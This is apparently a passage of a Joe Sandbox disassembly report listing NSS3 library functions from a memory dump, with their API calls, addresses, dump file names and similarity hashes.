Part of subcall function 6C728F70: EnterCriticalSection.KERNEL32(?,?,?,00000002,?,?,?,6C71DA9B,?,00000000,?,?,?,?,CE534353,?), ref: 6C729073
Part of subcall function 6C728F70: PR_Unlock.NSS3(?,?,?,?,00000002,?,?,?,6C71DA9B,?,00000000,?,?,?,?,CE534353), ref: 6C729111

PR_Unlock.NSS3(?,?,?,?,6C71B266,6C7215C6,?,?,6C7215C6), ref: 6C71E149

Memory Dump Source

Source File: 00000000.00000002.2098466358.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2098422136.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098764591.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098950907.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099030732.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099193680.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099235290.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: CriticalSection$DeleteEnterK11_UnlockValuefree$FriendlyInternalLoggedSlot
String ID:
API String ID: 4224391822-0
Opcode ID: 2ec75624786c26a49346aaa8fc4184e08301f3f5f63a519c1f90b744567a01db
Instruction ID: 688e2aed540ab24ec71dddfe0f11ef589b23f38611c01bce4ee87e2c00effdb8
Opcode Fuzzy Hash: 2ec75624786c26a49346aaa8fc4184e08301f3f5f63a519c1f90b744567a01db
Instruction Fuzzy Hash: 67515C74608605CFDB10DF29C68876ABBF1BF44318F29896CD8998BF41D731E984CB81

Function 6C72BE90 Relevance: 7.6, APIs: 5, Instructions: 141COMMON

Download Yara Rule

APIs

SEC_ASN1EncodeItem_Util.NSS3(00000000,00000000,?,?), ref: 6C72BF06
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C72BF56
PR_SetError.NSS3(FFFFE005,00000000,?,?,6C709F71,?,?,00000000), ref: 6C72BF7F
CERT_DestroyCertificate.NSS3(00000000), ref: 6C72BFA9
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6C72C014

Memory Dump Source

Source File: 00000000.00000002.2098466358.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2098422136.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098764591.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098950907.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099030732.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099193680.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099235290.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: Item_Util$Zfree$CertificateDestroyEncodeError
String ID:
API String ID: 3689625208-0
Opcode ID: 1850dd8ae34fd60701cf99bf554fe5ca1b92939c2386911f6374fd6217680f44
Instruction ID: 70d6a22c3649326e5752b894b789c61bb8c8519cba18259b06a0e19ea6df639f
Opcode Fuzzy Hash: 1850dd8ae34fd60701cf99bf554fe5ca1b92939c2386911f6374fd6217680f44
Instruction Fuzzy Hash: F641E671A012059BEB20CE66CE48BBA73B9AF44208F544138ED19D7B81EB39F905CBD1

Function 6C6FEDE0 Relevance: 7.6, APIs: 5, Instructions: 97COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6C6FEDFD
calloc.MOZGLUE(00000001,00000000), ref: 6C6FEE64
PR_SetError.NSS3(FFFFE8AC,00000000), ref: 6C6FEECC
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C6FEEEB
free.MOZGLUE(?), ref: 6C6FEEF6

Memory Dump Source

Source File: 00000000.00000002.2098466358.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2098422136.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098764591.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098950907.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099030732.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099193680.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099235290.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: ErrorValuecallocfreememcpy
String ID:
API String ID: 3833505462-0
Opcode ID: 3e7702338032358e8aef3144fd496d1a1cee086db06c4d40e29efce3a88302d1
Instruction ID: 34319f1441cd08e6e3f616af5f6aeb1c7ae1ec53cc54ac4f510e94a36c88ed18
Opcode Fuzzy Hash: 3e7702338032358e8aef3144fd496d1a1cee086db06c4d40e29efce3a88302d1
Instruction Fuzzy Hash: B23139B16042019BE7209F2DEC447A63FF6FB46318F140538E8AA87A51D731E817CBD6

Function 6C711F10 Relevance: 7.6, APIs: 5, Instructions: 96COMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800), ref: 6C711F1C

Part of subcall function 6C760FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6C7087ED,00000800,6C6FEF74,00000000), ref: 6C761000
Part of subcall function 6C760FF0: PR_NewLock.NSS3(?,00000800,6C6FEF74,00000000), ref: 6C761016
Part of subcall function 6C760FF0: PL_InitArenaPool.NSS3(00000000,security,6C7087ED,00000008,?,00000800,6C6FEF74,00000000), ref: 6C76102B

SEC_ASN1EncodeItem_Util.NSS3(00000000,0000000100000017,FFFFFFFF,6C829EBC), ref: 6C711FB8
SEC_ASN1EncodeItem_Util.NSS3(6C829E9C,?,?,6C829E9C), ref: 6C71200A
PR_SetError.NSS3(FFFFE022,00000000), ref: 6C712020

Part of subcall function 6C706A60: PORT_ArenaAlloc_Util.NSS3(?,?,?,?,?,?,?,6C70AD50,?,?), ref: 6C706A98

PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C712030

Memory Dump Source

Source File: 00000000.00000002.2098466358.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2098422136.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098764591.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098950907.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099030732.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099193680.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099235290.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: Util$ArenaArena_EncodeItem_$Alloc_ErrorFreeInitLockPoolcalloc
String ID:
API String ID: 1390266749-0
Opcode ID: 06600a2c51ff5246db12dae1eddf4dbae84e3d24bd4daf5024b83eee67250594
Instruction ID: d739f1d5d190354582df8aec3987344a917683ce1274185def90368901ba0a0f
Opcode Fuzzy Hash: 06600a2c51ff5246db12dae1eddf4dbae84e3d24bd4daf5024b83eee67250594
Instruction Fuzzy Hash: FB21E6B5905502BBE7119A15DE48FAA7768FF5231CF1C0225FC2896F80E731E668C7A1

Function 6C701DD0 Relevance: 7.6, APIs: 5, Instructions: 81timeCOMMON

Download Yara Rule

APIs

DER_DecodeTimeChoice_Util.NSS3(?,?), ref: 6C701E0B
DER_DecodeTimeChoice_Util.NSS3(?,?), ref: 6C701E24
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C701E3B
PR_SetError.NSS3(FFFFE00B,00000000), ref: 6C701E8A
PR_SetError.NSS3(FFFFE00B,00000000), ref: 6C701EAD

Memory Dump Source

Source File: 00000000.00000002.2098466358.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2098422136.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098764591.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098950907.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099030732.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099193680.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099235290.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: Error$Choice_DecodeTimeUtil
String ID:
API String ID: 1529734605-0
Opcode ID: b26be85d3b31e469fcae5b4a98fa2cb93be01e2c7c6929402a322bec67af8526
Instruction ID: b24940f7517140361e428751cdc242d60059cc523c0da46dccf3c770d3ec74e2
Opcode Fuzzy Hash: b26be85d3b31e469fcae5b4a98fa2cb93be01e2c7c6929402a322bec67af8526
Instruction Fuzzy Hash: 502125B2F04311ABD7008E69DE48B8F73D89B8476EF148638ED5957780E730D90887D2

Function 6C811E40 Relevance: 7.6, APIs: 5, Instructions: 75threadCOMMON

Download Yara Rule

APIs

PR_GetCurrentThread.NSS3 ref: 6C811E5C

Part of subcall function 6C7C9BF0: TlsGetValue.KERNEL32(?,?,?,6C810A75), ref: 6C7C9C07

PR_Lock.NSS3(00000000), ref: 6C811E75
PR_SetError.NSS3(FFFFE89D,00000000), ref: 6C811EAB
PR_GetCurrentThread.NSS3 ref: 6C811ED0
PR_Unlock.NSS3(?), ref: 6C811EE8

Memory Dump Source

Source File: 00000000.00000002.2098466358.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2098422136.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098764591.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098950907.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099030732.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099193680.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099235290.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: CurrentThread$ErrorLockUnlockValue
String ID:
API String ID: 121300776-0
Opcode ID: 079448d3eba4e3cfd943006fc1fc5fb388fc3ee0d6a11040e0c282586b7a9af1
Instruction ID: c5230175d3828544c5385fbf1d18dbd9ba0a6ac3c020bc432d5b1a8fef29a5b1
Opcode Fuzzy Hash: 079448d3eba4e3cfd943006fc1fc5fb388fc3ee0d6a11040e0c282586b7a9af1
Instruction Fuzzy Hash: C4219A74B18513AFD720CF99DA84A46B7F0BF64718B258A29D8158BF40D730F810CBD1

Function 6C75BE60 Relevance: 7.6, APIs: 5, Instructions: 74memoryCOMMON

Download Yara Rule

APIs

SECOID_FindOIDByTag_Util.NSS3(00000000,00000000,00000000,00000000,?,6C70E708,00000000,00000000,00000004,00000000), ref: 6C75BE6A

Part of subcall function 6C760840: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C7608B4

SECITEM_CopyItem_Util.NSS3(00000000,?,00000000,00000000,?,?,?,?,?,?,?,00000000,?,?,6C7104DC,?), ref: 6C75BE7E

Part of subcall function 6C75FB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6C758D2D,?,00000000,?), ref: 6C75FB85
Part of subcall function 6C75FB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6C75FBB1

SECITEM_CopyItem_Util.NSS3(?,?,?,?,?,?,00000000,?,?,?,?,?,?,?,00000000,?), ref: 6C75BEC2
PR_SetError.NSS3(FFFFE006,00000000,00000000,?,?,?,?,?,?,?,00000000,?,?,6C7104DC,?,?), ref: 6C75BED7
SECITEM_AllocItem_Util.NSS3(?,?,00000002,?,?,?,00000000,?,?,?,?,?,?,?,00000000,?), ref: 6C75BEEB

Memory Dump Source

Source File: 00000000.00000002.2098466358.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2098422136.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098764591.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098950907.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099030732.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099193680.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099235290.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: Util$Item_$CopyError$AllocAlloc_ArenaFindTag_memcpy
String ID:
API String ID: 1367977078-0
Opcode ID: f1b67ade3d5cf8085e025b4fa9cc4ed7ec3452d35d0e67ef7d4996e844efd303
Instruction ID: 88c314ad63180daf64819070a967eb0bd8c2e1d574033d105d291c27f6043c61
Opcode Fuzzy Hash: f1b67ade3d5cf8085e025b4fa9cc4ed7ec3452d35d0e67ef7d4996e844efd303
Instruction Fuzzy Hash: A3110866B0424967E70089669F88F77736DAB40758F884135FE0597B92EF32EC2487E1

Function 6C70AD90 Relevance: 7.6, APIs: 5, Instructions: 72memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(00000000,?,6C703FFF,00000000,?,?,?,?,?,6C701A1C,00000000,00000000), ref: 6C70ADA7

Part of subcall function 6C7614C0: TlsGetValue.KERNEL32 ref: 6C7614E0
Part of subcall function 6C7614C0: EnterCriticalSection.KERNEL32 ref: 6C7614F5
Part of subcall function 6C7614C0: PR_Unlock.NSS3 ref: 6C76150D

PORT_ArenaAlloc_Util.NSS3(00000000,00000020,?,?,6C703FFF,00000000,?,?,?,?,?,6C701A1C,00000000,00000000), ref: 6C70ADB4

Part of subcall function 6C7610C0: TlsGetValue.KERNEL32(?,6C708802,00000000,00000008,?,6C6FEF74,00000000), ref: 6C7610F3
Part of subcall function 6C7610C0: EnterCriticalSection.KERNEL32(?,?,6C708802,00000000,00000008,?,6C6FEF74,00000000), ref: 6C76110C
Part of subcall function 6C7610C0: PL_ArenaAllocate.NSS3(?,?,?,6C708802,00000000,00000008,?,6C6FEF74,00000000), ref: 6C761141
Part of subcall function 6C7610C0: PR_Unlock.NSS3(?,?,?,6C708802,00000000,00000008,?,6C6FEF74,00000000), ref: 6C761182
Part of subcall function 6C7610C0: TlsGetValue.KERNEL32(?,6C708802,00000000,00000008,?,6C6FEF74,00000000), ref: 6C76119C

SECITEM_CopyItem_Util.NSS3(00000000,?,6C703FFF,?,?,?,?,6C703FFF,00000000,?,?,?,?,?,6C701A1C,00000000), ref: 6C70ADD5

Part of subcall function 6C75FB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6C758D2D,?,00000000,?), ref: 6C75FB85
Part of subcall function 6C75FB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6C75FBB1

SEC_QuickDERDecodeItem_Util.NSS3(00000000,00000000,6C8294B0,?,?,?,?,?,?,?,?,6C703FFF,00000000,?), ref: 6C70ADEC

Part of subcall function 6C75B030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6C8318D0,?), ref: 6C75B095

PR_SetError.NSS3(FFFFE022,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,6C703FFF), ref: 6C70AE3C

Memory Dump Source

Source File: 00000000.00000002.2098466358.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2098422136.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098764591.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098950907.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099030732.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099193680.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099235290.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: Util$Arena$Value$Alloc_CriticalEnterErrorItem_SectionUnlock$AllocateCopyDecodeMark_Quickmemcpy
String ID:
API String ID: 2372449006-0
Opcode ID: 2da06d118904eaf8b3dfcf1f5537b858641f87274ba7bf570cf61b1e75ab437d
Instruction ID: bc7fca46ca59e37a1aee253d5750c7dd94337834abe962eb5ae88f90b1e104c9
Opcode Fuzzy Hash: 2da06d118904eaf8b3dfcf1f5537b858641f87274ba7bf570cf61b1e75ab437d
Instruction Fuzzy Hash: A81133A1F002056BE7109A659E09BBF72EC9F9125CF044238EC19D6B41FB20E998C3E2

Function 6C718FE0 Relevance: 7.6, APIs: 5, Instructions: 63threadCOMMON

Download Yara Rule

APIs

PR_GetThreadPrivate.NSS3(FFFFFFFF,?,6C720710), ref: 6C718FF1
PR_CallOnce.NSS3(6C862158,6C719150,00000000,?,?,?,6C719138,?,6C720710), ref: 6C719029
calloc.MOZGLUE(00000001,00000000,?,?,6C720710), ref: 6C71904D
memcpy.VCRUNTIME140(00000000,00000000,00000000,?,?,?,?,6C720710), ref: 6C719066
PR_SetThreadPrivate.NSS3(00000000,?,?,?,?,6C720710), ref: 6C719078

Memory Dump Source

Source File: 00000000.00000002.2098466358.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2098422136.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098764591.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098950907.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099030732.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099193680.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099235290.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: PrivateThread$CallOncecallocmemcpy
String ID:
API String ID: 1176783091-0
Opcode ID: 05b17bdb0d7897fe50ab33c3968bb2685e246feb0cc7800625f6cac7a5f3b4db
Instruction ID: 84e839780bfae05ab4ee899eeaa982a20e28641ff2f82ef6783ac49bcb736dac
Opcode Fuzzy Hash: 05b17bdb0d7897fe50ab33c3968bb2685e246feb0cc7800625f6cac7a5f3b4db
Instruction Fuzzy Hash: 08114461B082135BE7201AAEAD04A7672ACEB927ACF480431FC84C2F40F352CD46C3F9

Function 6C72CD80 Relevance: 7.6, APIs: 5, Instructions: 60COMMON

Download Yara Rule

APIs

Part of subcall function 6C741E10: TlsGetValue.KERNEL32 ref: 6C741E36
Part of subcall function 6C741E10: EnterCriticalSection.KERNEL32(?,?,?,6C71B1EE,2404110F,?,?), ref: 6C741E4B
Part of subcall function 6C741E10: PR_Unlock.NSS3 ref: 6C741E76

free.MOZGLUE(?,6C72D079,00000000,00000001), ref: 6C72CDA5
PK11_FreeSymKey.NSS3(?,6C72D079,00000000,00000001), ref: 6C72CDB6
SECITEM_ZfreeItem_Util.NSS3(?,00000001,6C72D079,00000000,00000001), ref: 6C72CDCF
DeleteCriticalSection.KERNEL32(?,6C72D079,00000000,00000001), ref: 6C72CDE2
free.MOZGLUE(?), ref: 6C72CDE9

Memory Dump Source

Source File: 00000000.00000002.2098466358.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2098422136.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098764591.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098950907.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099030732.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099193680.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099235290.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: CriticalSectionfree$DeleteEnterFreeItem_K11_UnlockUtilValueZfree
String ID:
API String ID: 1720798025-0
Opcode ID: dc5804417c6803546dd7d1cd8dfffd925d66b7c8ea6470fd9f04519a2c567804
Instruction ID: 6ab783935ea170ae396a609ccec168f2f93d705ef1b8d89b00f74d4b05b895ec
Opcode Fuzzy Hash: dc5804417c6803546dd7d1cd8dfffd925d66b7c8ea6470fd9f04519a2c567804
Instruction Fuzzy Hash: 4F11C2B6B01111BBEB00AE65EE49D96B72DFF1426E7144131F90987E01E73AE434CBE1

Function 6C792CC0 Relevance: 7.6, APIs: 5, Instructions: 55COMMON

Download Yara Rule

APIs

Part of subcall function 6C795B40: PR_GetIdentitiesLayer.NSS3 ref: 6C795B56

PR_SetError.NSS3(FFFFE005,00000000), ref: 6C792CEC

Part of subcall function 6C7AC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C7AC2BF

PR_EnterMonitor.NSS3(?), ref: 6C792D02
PR_EnterMonitor.NSS3(?), ref: 6C792D1F
PR_ExitMonitor.NSS3(?), ref: 6C792D42
PR_ExitMonitor.NSS3(?), ref: 6C792D5B

Memory Dump Source

Source File: 00000000.00000002.2098466358.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2098422136.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098764591.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098950907.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099030732.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099193680.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099235290.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: Monitor$EnterExit$ErrorIdentitiesLayerValue
String ID:
API String ID: 1593528140-0
Opcode ID: 4ef27760c05e354bdbdc14a9bf5efb7db43890b1c91ebd88415995a73019c396
Instruction ID: 227605bb550a852316d7537ec0fd3da1ad8c12a7b3ee79bfc6ea44c27c847977
Opcode Fuzzy Hash: 4ef27760c05e354bdbdc14a9bf5efb7db43890b1c91ebd88415995a73019c396
Instruction Fuzzy Hash: AF0104B1A40604AFE770AE25FD4ABC7B3A1EF51318F004535E85986721E332F9158793

Function 6C792D70 Relevance: 7.6, APIs: 5, Instructions: 55COMMON

Download Yara Rule

APIs

Part of subcall function 6C795B40: PR_GetIdentitiesLayer.NSS3 ref: 6C795B56

PR_SetError.NSS3(FFFFE005,00000000), ref: 6C792D9C

Part of subcall function 6C7AC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C7AC2BF

PR_EnterMonitor.NSS3(?), ref: 6C792DB2
PR_EnterMonitor.NSS3(?), ref: 6C792DCF
PR_ExitMonitor.NSS3(?), ref: 6C792DF2
PR_ExitMonitor.NSS3(?), ref: 6C792E0B

Memory Dump Source

Source File: 00000000.00000002.2098466358.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2098422136.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098764591.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098950907.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099030732.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099193680.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099235290.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: Monitor$EnterExit$ErrorIdentitiesLayerValue
String ID:
API String ID: 1593528140-0
Opcode ID: 1e9434b66f5bacf9a806f1db442a6747708187bc64aeee5eb685236fa59530ec
Instruction ID: 483e3222dea85e673eb9206e100f7b11d724fa840afe2f41ec313362b6ab21d7
Opcode Fuzzy Hash: 1e9434b66f5bacf9a806f1db442a6747708187bc64aeee5eb685236fa59530ec
Instruction Fuzzy Hash: A901C4B1A50200AFEB70AE25FD4DBC7B7A5EF51318F004535E85986B22D732F9258693

Function 6C72AE30 Relevance: 7.6, APIs: 5, Instructions: 54COMMON

Download Yara Rule

APIs

Part of subcall function 6C713090: PORT_NewArena_Util.NSS3(00000800,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C72AE42), ref: 6C7130AA
Part of subcall function 6C713090: PORT_ArenaAlloc_Util.NSS3(00000000,000000AC,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C7130C7
Part of subcall function 6C713090: memset.VCRUNTIME140(-00000004,00000000,000000A8), ref: 6C7130E5
Part of subcall function 6C713090: SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6C713116
Part of subcall function 6C713090: SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6C71312B
Part of subcall function 6C713090: PK11_DestroyObject.NSS3(?,?), ref: 6C713154
Part of subcall function 6C713090: PORT_FreeArena_Util.NSS3(00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C71317E

SECKEY_DestroyPublicKey.NSS3(00000000,?,00000000,?,6C7099FF,?,?,?,?,?,?,?,?,?,6C702D6B,?), ref: 6C72AE67
SECITEM_DupItem_Util.NSS3(-00000014,?,00000000,?,6C7099FF,?,?,?,?,?,?,?,?,?,6C702D6B,?), ref: 6C72AE7E
SECKEY_DestroyPublicKey.NSS3(00000000,?,?,?,?,?,?,?,?,?,6C702D6B,?,?,00000000), ref: 6C72AE89
PK11_MakeIDFromPubKey.NSS3(00000000,?,?,?,?,?,?,?,?,?,?,6C702D6B,?,?,00000000), ref: 6C72AE96
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001,?,?,?,?,?,?,?,?,?,?,?,6C702D6B,?,?), ref: 6C72AEA3

Memory Dump Source

Source File: 00000000.00000002.2098466358.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2098422136.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098764591.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098950907.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099030732.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099193680.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099235290.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: Util$DestroyItem_$Arena_K11_Public$AlgorithmAlloc_ArenaCopyFreeFromMakeObjectTag_Zfreememset
String ID:
API String ID: 754562246-0
Opcode ID: 5aa0bb8df06cdbe7299684072cfa83b62bae8e98efdb4ce953bc48fe4c565754
Instruction ID: 9dcef20888e979726880f27eee0bd9513f226b2d0f46207e4b002ddce322b606
Opcode Fuzzy Hash: 5aa0bb8df06cdbe7299684072cfa83b62bae8e98efdb4ce953bc48fe4c565754
Instruction Fuzzy Hash: BF01A4ABF1411057E701A16CAE9FAAF315C8B8766CF080432E909D7B41FA1AD91A42E3

Function 6C81BDB0 Relevance: 7.6, APIs: 5, Instructions: 51COMMON

Download Yara Rule

APIs

DeleteCriticalSection.KERNEL32(?,00000000,00000000,?,6C817AFE,?,?,?,?,?,?,?,?,6C81798A), ref: 6C81BDC3
free.MOZGLUE(?,?,6C817AFE,?,?,?,?,?,?,?,?,6C81798A), ref: 6C81BDCA
